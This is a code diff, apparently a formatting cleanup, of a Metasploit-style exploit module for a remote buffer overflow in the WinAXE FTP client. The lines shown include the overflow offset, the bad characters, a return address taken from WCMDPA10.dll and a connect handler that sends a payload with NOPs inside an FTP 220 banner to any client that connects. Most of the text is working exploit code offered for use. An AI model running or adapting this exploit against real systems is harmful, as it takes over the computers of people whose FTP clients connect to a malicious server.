@@ -25,23 +25,26 @@ def initialize(info = {})
25
25
'References' =>
26
26
[
27
27
[ 'EDB' , '40693' ] ,
28
- [ 'URL' , 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ] , # Put this in later
28
+ [ 'URL' , 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ]
29
29
] ,
30
30
'DefaultOptions' =>
31
31
{
32
- 'EXITFUNC' => 'thread' ,
32
+ 'EXITFUNC' => 'thread'
33
33
} ,
34
34
'Payload' =>
35
35
{
36
36
'Space' => 1000 ,
37
- 'BadChars' => "\x00 \x0a \x0d " ,
37
+ 'BadChars' => "\x00 \x0a \x0d "
38
38
} ,
39
39
'Platform' => 'win' ,
40
40
'Targets' =>
41
41
[
42
- [ 'Windows Universal' , {
42
+ [ 'Windows Universal' ,
43
+ {
43
44
'Offset' => 2065 ,
44
- 'Ret' => 0x68017296 } ] , # push esp # ret 0x04 WCMDPA10.dll
45
+ 'Ret' => 0x68017296 # push esp # ret 0x04 WCMDPA10.dll
46
+ }
47
+ ]
45
48
] ,
46
49
'Privileged' => false ,
47
50
'DisclosureDate' => 'Nov 03 2016' ,
@@ -52,11 +55,10 @@ def setup
52
55
super
53
56
end
54
57
55
- def on_client_unknown_command ( c , cmd , arg )
58
+ def on_client_unknown_command ( c , _cmd , _arg )
56
59
c . put ( "200 OK\r \n " )
57
60
end
58
61
59
- #def on_client_command_list(c,arg)
60
62
def on_client_connect ( c )
61
63
print_status ( "Client connected..." )
62
64
@@ -66,10 +68,8 @@ def on_client_connect(c)
66
68
sploit << payload . encoded
67
69
sploit << make_nops ( 20 )
68
70
69
- print_status ( "Sending exploit" )
70
71
c . put ( "220" + sploit + "\r \n " )
71
72
c . close
72
- return
73
73
end
74
74
75
75
end
0 commit comments